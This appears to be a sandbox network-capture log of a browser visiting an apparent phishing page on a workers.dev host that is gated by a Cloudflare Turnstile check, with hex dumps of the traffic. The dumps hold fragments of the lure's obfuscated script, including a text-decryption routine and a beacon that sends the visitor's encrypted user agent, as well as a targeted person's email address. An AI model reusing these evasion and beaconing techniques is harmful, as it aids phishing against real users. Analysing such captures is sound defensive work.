2025-01-15 19:08:06 UTC	1369	IN	Data Raw: 6f 3d 6b 5b 68 78 28 35 39 37 29 5d 28 6b 5b 68 78 28 31 31 36 32 29 5d 28 68 78 28 31 30 30 33 29 2b 6e 2b 68 78 28 31 31 35 34 29 2b 31 2b 6b 5b 68 78 28 31 36 37 34 29 5d 2b 65 4d 5b 68 78 28 39 34 39 29 5d 5b 68 78 28 35 34 30 29 5d 2b 27 2f 27 2b 65 4d 5b 68 78 28 39 34 39 29 5d 2e 63 48 2c 27 2f 27 29 2c 65 4d 5b 68 78 28 39 34 39 29 5d 5b 68 78 28 31 30 39 37 29 5d 29 2c 73 3d 7b 7d 2c 73 5b 68 78 28 31 37 34 31 29 5d 3d 65 4d 5b 68 78 28 39 34 39 29 5d 5b 68 78 28 31 37 34 31 29 5d 2c 73 5b 68 78 28 35 39 33 29 5d 3d 65 4d 5b 68 78 28 39 34 39 29 5d 5b 68 78 28 35 39 33 29 5d 2c 73 5b 68 78 28 31 32 32 33 29 5d 3d 65 4d 5b 68 78 28 39 34 39 29 5d 5b 68 78 28 31 32 32 33 29 5d 2c 73 5b 68 78 28 31 33 32 33 29 5d 3d 65 4d 5b 68 78 28 39 34 39 29 5d Data Ascii: o=k[hx(597)](k[hx(1162)](hx(1003)+n+hx(1154)+1+k[hx(1674)]+eM[hx(949)][hx(540)]+'/'+eM[hx(949)].cH,'/'),eM[hx(949)][hx(1097)]),s={},s[hx(1741)]=eM[hx(949)][hx(1741)],s[hx(593)]=eM[hx(949)][hx(593)],s[hx(1223)]=eM[hx(949)][hx(1223)],s[hx(1323)]=eM[hx(949)]
2025-01-15 19:08:06 UTC	1369	IN	Data Raw: 67 2c 68 2c 69 2c 68 41 2c 6a 2c 6b 2c 6c 2c 6d 2c 76 2c 78 2c 42 2c 6e 2c 6f 29 7b 69 66 28 68 41 3d 67 4a 2c 6a 3d 7b 7d 2c 6a 5b 68 41 28 33 35 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 73 2c 76 29 7b 72 65 74 75 72 6e 20 73 3c 76 7d 2c 6a 5b 68 41 28 36 32 34 29 5d 3d 68 41 28 36 32 32 29 2c 6a 5b 68 41 28 31 33 31 34 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 73 2c 76 29 7b 72 65 74 75 72 6e 20 73 5e 76 7d 2c 6a 5b 68 41 28 31 31 32 31 29 5d 3d 68 41 28 31 34 31 37 29 2c 6a 5b 68 41 28 31 38 30 30 29 5d 3d 68 41 28 36 39 37 29 2c 6a 5b 68 41 28 39 33 36 29 5d 3d 68 41 28 38 39 30 29 2c 6a 5b 68 41 28 31 34 31 34 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 73 2c 76 29 7b 72 65 74 75 72 6e 20 76 21 3d 3d 73 7d 2c 6a 5b 68 41 28 31 35 31 39 29 5d 3d 68 41 28 31 34 38 33 Data Ascii: g,h,i,hA,j,k,l,m,v,x,B,n,o){if(hA=gJ,j={},j[hA(352)]=function(s,v){return s<v},j[hA(624)]=hA(622),j[hA(1314)]=function(s,v){return s^v},j[hA(1121)]=hA(1417),j[hA(1800)]=hA(697),j[hA(936)]=hA(890),j[hA(1414)]=function(s,v){return v!==s},j[hA(1519)]=hA(1483

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49753	104.18.95.41	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:08:06 UTC	739	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/a4vlz/0x4AAAAAAA45hULO7kC3Oxuo/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 19:08:06 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 19:08:06 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 9028270a2a6b4261-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:08:06 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49747	172.67.196.214	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:08:06 UTC	676	OUT	GET /favicon.ico HTTP/1.1 Host: c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev/?email=alison.smith@rbsint.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 19:08:06 UTC	787	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 19:08:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Pp4NV6mA0zcWJnG1y8LVBLd8QQo5zzqB7DQPbV3fHeSXsQPkG2cKHQXD8b%2FqVNZ9FE1tdTpXrSas3N6njNbWGNxHaoWQMIMYfCKkBack6WBpHfKnMBqQ1vxLFg4LfQvRvba%2B0S19TUw4Yr80bLgUZn4T6Ra6DIeriHe2hbnTNa8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9028270c390ba304-YUL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=17867&min_rtt=17846&rtt_var=6707&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2899&recv_bytes=1254&delivery_rate=163622&cwnd=32&unsent_bytes=0&cid=55eb30891bb88af0&ts=3635&x=0"
2025-01-15 19:08:06 UTC	582	IN	Data Raw: 31 36 36 62 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 20 0a 20 20 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 64 65 66 65 72 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 74 75 72 6e 73 74 69 6c 65 2f 76 30 2f 61 70 69 2e 6a 73 3f 6f 6e 6c 6f 61 64 3d 6f 6e 6c 6f 61 64 54 75 72 6e 73 74 69 6c 65 43 61 6c 6c 62 61 63 6b 22 3e 3c 2f 73 63 72 69 70 74 3e 20 0a 20 20 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 20 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 Data Ascii: 166b<!doctype html><html lang="en-US"><head> <script async defer src="https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback"></script> <title>Just a moment...</title> <meta content="width=device-width,initial-sc
2025-01-15 19:08:06 UTC	1369	IN	Data Raw: 74 65 6b 65 79 3a 20 22 30 78 34 41 41 41 41 41 41 41 34 35 68 55 4c 4f 37 6b 43 33 4f 78 75 6f 22 2c 20 0a 20 20 20 20 20 20 20 20 63 61 6c 6c 62 61 63 6b 3a 20 76 65 72 69 66 79 43 61 6c 6c 62 61 63 6b 5f 43 46 2c 0a 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 7d 3b 0a 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 68 68 32 28 65 6e 63 72 79 70 74 65 64 54 65 78 74 2c 20 73 68 69 66 74 29 20 7b 0a 20 20 20 20 20 20 6c 65 74 20 64 65 63 72 79 70 74 65 64 54 65 78 74 20 3d 20 22 22 3b 0a 20 20 20 20 20 20 66 6f 72 20 28 6c 65 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 65 6e 63 72 79 70 74 65 64 54 65 78 74 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0a 20 20 20 20 20 20 20 20 6c 65 74 20 63 20 3d 20 65 6e 63 72 79 70 74 65 64 54 65 78 74 5b 69 5d 3b 0a 20 20 20 20 Data Ascii: tekey: "0x4AAAAAAA45hULO7kC3Oxuo", callback: verifyCallback_CF, }); }; function hh2(encryptedText, shift) { let decryptedText = ""; for (let i = 0; i < encryptedText.length; i++) { let c = encryptedText[i];
2025-01-15 19:08:06 UTC	1369	IN	Data Raw: 20 73 65 6e 64 52 65 71 75 65 73 74 28 29 20 7b 0a 20 20 20 20 20 20 63 6f 6e 73 74 20 75 73 65 72 41 67 65 6e 74 20 3d 20 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 3b 0a 20 20 20 20 20 20 63 6f 6e 73 74 20 45 6e 63 72 79 70 74 65 64 55 73 65 72 41 67 65 6e 74 20 3d 20 45 6e 63 72 79 70 74 28 75 73 65 72 41 67 65 6e 74 2c 20 50 55 42 4c 49 43 5f 4b 45 59 29 3b 0a 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 27 53 65 6e 64 69 6e 67 20 72 65 71 75 65 73 74 20 77 69 74 68 20 65 6e 63 72 79 70 74 65 64 20 75 73 65 72 2d 61 67 65 6e 74 3a 27 2c 20 45 6e 63 72 79 70 74 65 64 55 73 65 72 41 67 65 6e 74 29 3b 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 6c 65 74 20 78 68 72 20 3d 20 6e 65 77 20 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 28 29 Data Ascii: sendRequest() { const userAgent = navigator.userAgent; const EncryptedUserAgent = Encrypt(userAgent, PUBLIC_KEY); console.log('Sending request with encrypted user-agent:', EncryptedUserAgent); let xhr = new XMLHttpRequest()
2025-01-15 19:08:06 UTC	1369	IN	Data Raw: 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 63 6f 6c 6f 72 3a 23 30 30 35 31 63 33 7d 61 3a 68 6f 76 65 72 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 63 6f 6c 6f 72 3a 23 65 65 37 33 30 61 7d 2e 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 38 72 65 6d 20 61 75 74 6f 3b 77 69 64 74 68 3a 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 36 30 72 65 6d 7d 2e 66 6f 6f 74 65 72 2c 2e 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 2e 35 72 65 6d 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 2e 35 72 65 6d 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 3a 31 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f Data Ascii: text-decoration:none;color:#0051c3}a:hover{text-decoration:underline;color:#ee730a}.main-content{margin:8rem auto;width:100%;max-width:60rem}.footer,.main-content{padding-right:1.5rem;padding-left:1.5rem}.main-wrapper{display:flex;flex:1;flex-direction:co
2025-01-15 19:08:06 UTC	1058	IN	Data Raw: 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 32 32 32 3b 63 6f 6c 6f 72 3a 23 64 39 64 39 64 39 7d 61 7b 63 6f 6c 6f 72 3a 23 66 66 66 7d 61 3a 68 6f 76 65 72 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 63 6f 6c 6f 72 3a 23 65 65 37 33 30 61 7d 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 2d 77 72 61 70 70 65 72 22 20 72 6f 6c 65 3d 22 6d 61 69 6e 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 22 3e 0a 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 68 31 20 7a 6f 6e 65 2d 6e 61 6d 65 2d 74 69 74 6c 65 22 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: k){body{background-color:#222;color:#d9d9d9}a{color:#fff}a:hover{text-decoration:underline;color:#ee730a}}</style><body class="no-js"> <div class="main-wrapper" role="main"> <div class="main-content"> <h1 class="h1 zone-name-title">
2025-01-15 19:08:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49754	104.18.95.41	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:08:06 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 19:08:06 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 19:08:06 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 9028270dff4342af-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:08:06 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49756	104.18.95.41	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:08:06 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=90282705888e4357&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 19:08:06 UTC	331	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 19:08:06 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 117785 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 9028270f1b878ca2-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:08:06 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 55 52 61 4f 61 38 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.URaOa8={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"http
2025-01-15 19:08:06 UTC	1369	IN	Data Raw: 73 73 25 32 31 22 2c 22 63 68 65 63 6b 5f 64 65 6c 61 79 73 22 3a 22 56 65 72 69 66 69 63 61 74 69 6f 6e 25 32 30 69 73 25 32 30 74 61 6b 69 6e 67 25 32 30 6c 6f 6e 67 65 72 25 32 30 74 68 61 6e 25 32 30 65 78 70 65 63 74 65 64 2e 25 32 30 43 68 65 63 6b 25 32 30 79 6f 75 72 25 32 30 49 6e 74 65 72 6e 65 74 25 32 30 63 6f 6e 6e 65 63 74 69 6f 6e 25 32 30 61 6e 64 25 32 30 25 33 43 61 25 32 30 63 6c 61 73 73 25 33 44 25 32 32 72 65 66 72 65 73 68 5f 6c 69 6e 6b 25 32 32 25 33 45 72 65 66 72 65 73 68 25 32 30 74 68 65 25 32 30 70 61 67 65 25 33 43 25 32 46 61 25 33 45 25 32 30 69 66 25 32 30 74 68 65 25 32 30 69 73 73 75 65 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c Data Ascii: ss%21","check_delays":"Verification%20is%20taking%20longer%20than%20expected.%20Check%20your%20Internet%20connection%20and%20%3Ca%20class%3D%22refresh_link%22%3Erefresh%20the%20page%3C%2Fa%3E%20if%20the%20issue%20persists.","feedback_report_output_subtitl
2025-01-15 19:08:06 UTC	1369	IN	Data Raw: 2c 67 33 2c 67 34 2c 67 35 2c 67 39 2c 67 61 2c 67 65 2c 67 68 2c 67 69 2c 67 66 2c 67 67 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 67 49 28 35 39 33 29 29 2f 31 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 39 38 35 29 29 2f 32 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 35 37 29 29 2f 33 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 37 38 34 29 29 2f 34 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 35 32 29 29 2f 35 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 35 32 32 29 29 2f 36 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 35 39 31 29 29 2f 37 29 2b 70 61 72 73 65 49 6e 74 Data Ascii: ,g3,g4,g5,g9,ga,ge,gh,gi,gf,gg){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=parseInt(gI(593))/1(-parseInt(gI(985))/2)+-parseInt(gI(1457))/3+-parseInt(gI(784))/4(parseInt(gI(1452))/5)+-parseInt(gI(1522))/6*(-parseInt(gI(1591))/7)+parseInt
2025-01-15 19:08:06 UTC	1369	IN	Data Raw: 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 6b 71 62 4b 43 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 7c 69 7d 2c 27 76 6b 77 54 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 59 66 4e 43 74 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 47 4b 56 71 6f 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 49 53 44 6a 6b 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 57 77 68 66 55 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 45 48 42 73 74 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c Data Ascii: M':function(h,i){return h<i},'kqbKC':function(h,i){return h\|i},'vkwTM':function(h,i){return h(i)},'YfNCt':function(h,i){return i&h},'GKVqo':function(h,i){return h-i},'ISDjk':function(h,i){return h==i},'WwhfU':function(h,i){return h(i)},'EHBst':function(h,
2025-01-15 19:08:06 UTC	1369	IN	Data Raw: 3d 43 5b 68 69 28 31 32 32 36 29 5d 28 30 29 2c 73 3d 30 3b 64 5b 68 69 28 31 30 33 32 29 5d 28 31 36 2c 73 29 3b 48 3d 4d 26 31 7c 48 3c 3c 31 2c 49 3d 3d 64 5b 68 69 28 33 30 38 29 5d 28 6a 2c 31 29 3f 28 49 3d 30 2c 47 5b 68 69 28 31 33 35 39 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 44 2d 2d 2c 64 5b 68 69 28 31 32 38 34 29 5d 28 30 2c 44 29 26 26 28 44 3d 4d 61 74 68 5b 68 69 28 33 37 31 29 5d 28 32 2c 46 29 2c 46 2b 2b 29 2c 64 65 6c 65 74 65 20 42 5b 43 5d 7d 65 6c 73 65 20 66 6f 72 28 4d 3d 78 5b 43 5d 2c 73 3d 30 3b 73 3c 46 3b 48 3d 64 5b 68 69 28 31 34 31 31 29 5d 28 48 3c 3c 31 2e 32 36 2c 31 26 4d 29 2c 49 3d 3d 64 5b 68 69 28 33 30 38 29 5d 28 6a 2c 31 29 3f 28 49 3d 30 2c 47 5b 68 69 28 31 33 Data Ascii: =C[hi(1226)](0),s=0;d[hi(1032)](16,s);H=M&1\|H<<1,I==d[hi(308)](j,1)?(I=0,G[hi(1359)](o(H)),H=0):I++,M>>=1,s++);}D--,d[hi(1284)](0,D)&&(D=Math[hi(371)](2,F),F++),delete B[C]}else for(M=x[C],s=0;s<F;H=d[hi(1411)](H<<1.26,1&M),I==d[hi(308)](j,1)?(I=0,G[hi(13
2025-01-15 19:08:06 UTC	1369	IN	Data Raw: 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 34 27 3a 44 28 45 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 35 27 3a 47 5b 68 69 28 33 30 33 29 5d 5b 68 69 28 31 32 39 38 29 5d 28 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 36 27 3a 4a 5b 64 5b 68 69 28 31 33 39 36 29 5d 5d 26 26 52 5b 64 5b 68 69 28 31 33 39 36 29 5d 5d 5b 68 69 28 32 34 34 29 5d 26 26 28 52 3d 7b 7d 2c 52 5b 68 69 28 31 35 38 31 29 5d 3d 64 5b 68 69 28 31 33 38 31 29 5d 2c 52 5b 68 69 28 38 31 34 29 5d 3d 5a 5b 68 69 28 39 34 35 29 5d 5b 68 69 28 31 34 37 32 29 5d 2c 52 5b 68 69 28 33 39 34 29 5d 3d 61 30 5b 68 69 28 39 34 35 29 5d 5b 68 69 28 39 37 39 29 5d 2c 52 5b 68 69 28 39 31 31 29 5d 3d 68 69 28 31 33 33 31 29 2c 52 5b 68 69 28 31 30 37 35 29 5d 3d 61 31 5b 68 69 28 39 34 35 29 Data Ascii: ontinue;case'4':D(E);continue;case'5':G[hi(303)][hi(1298)]();continue;case'6':J[d[hi(1396)]]&&R[d[hi(1396)]][hi(244)]&&(R={},R[hi(1581)]=d[hi(1381)],R[hi(814)]=Z[hi(945)][hi(1472)],R[hi(394)]=a0[hi(945)][hi(979)],R[hi(911)]=hi(1331),R[hi(1075)]=a1[hi(945)
2025-01-15 19:08:06 UTC	1369	IN	Data Raw: 75 72 6e 27 27 7d 66 6f 72 28 46 3d 78 5b 33 5d 3d 4e 2c 45 5b 68 6d 28 31 33 35 39 29 5d 28 4e 29 3b 3b 29 69 66 28 64 5b 68 6d 28 37 39 37 29 5d 28 64 5b 68 6d 28 37 36 38 29 5d 2c 68 6d 28 38 39 35 29 29 29 47 5b 68 6d 28 31 34 33 31 29 5d 3d 73 5b 68 6d 28 31 35 30 32 29 5d 28 48 2c 73 5b 68 6d 28 31 30 35 38 29 5d 29 3b 65 6c 73 65 7b 69 66 28 4a 3e 69 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 4b 3d 30 2c 4c 3d 4d 61 74 68 5b 68 6d 28 33 37 31 29 5d 28 32 2c 44 29 2c 47 3d 31 3b 4c 21 3d 47 3b 4d 3d 64 5b 68 6d 28 31 31 34 39 29 5d 28 48 2c 49 29 2c 49 3e 3e 3d 31 2c 30 3d 3d 49 26 26 28 49 3d 6a 2c 48 3d 6f 28 4a 2b 2b 29 29 2c 4b 7c 3d 64 5b 68 6d 28 31 31 34 33 29 5d 28 30 3c 4d 3f 31 3a 30 2c 47 29 2c 47 3c 3c 3d 31 29 3b 73 77 69 74 63 68 28 4e Data Ascii: urn''}for(F=x[3]=N,E[hm(1359)](N);;)if(d[hm(797)](d[hm(768)],hm(895)))G[hm(1431)]=s[hm(1502)](H,s[hm(1058)]);else{if(J>i)return'';for(K=0,L=Math[hm(371)](2,D),G=1;L!=G;M=d[hm(1149)](H,I),I>>=1,0==I&&(I=j,H=o(J++)),K\|=d[hm(1143)](0<M?1:0,G),G<<=1);switch(N
2025-01-15 19:08:06 UTC	1369	IN	Data Raw: 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 2b 48 7d 2c 27 41 65 6d 4e 67 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 2b 48 7d 2c 27 46 68 72 45 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 2b 48 7d 2c 27 46 4a 4d 51 4b 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 7c 7c 48 7d 2c 27 55 65 70 6a 43 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 2b 48 7d 2c 27 71 45 41 5a 5a 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 2c 49 29 7b 72 65 74 75 72 6e 20 47 28 48 2c 49 29 7d 7d 29 3b 74 72 79 7b 66 6f 72 28 6a 3d 68 70 28 31 34 30 34 29 5b 68 70 28 31 30 31 33 29 5d 28 27 7c 27 29 2c 6b 3d 30 3b 21 21 5b 5d 3b 29 7b 73 77 69 74 Data Ascii: ':function(G,H){return G+H},'AemNg':function(G,H){return G+H},'FhrEM':function(G,H){return G+H},'FJMQK':function(G,H){return G\|\|H},'UepjC':function(G,H){return G+H},'qEAZZ':function(G,H,I){return G(H,I)}});try{for(j=hp(1404)[hp(1013)]('\|'),k=0;!![];){swit
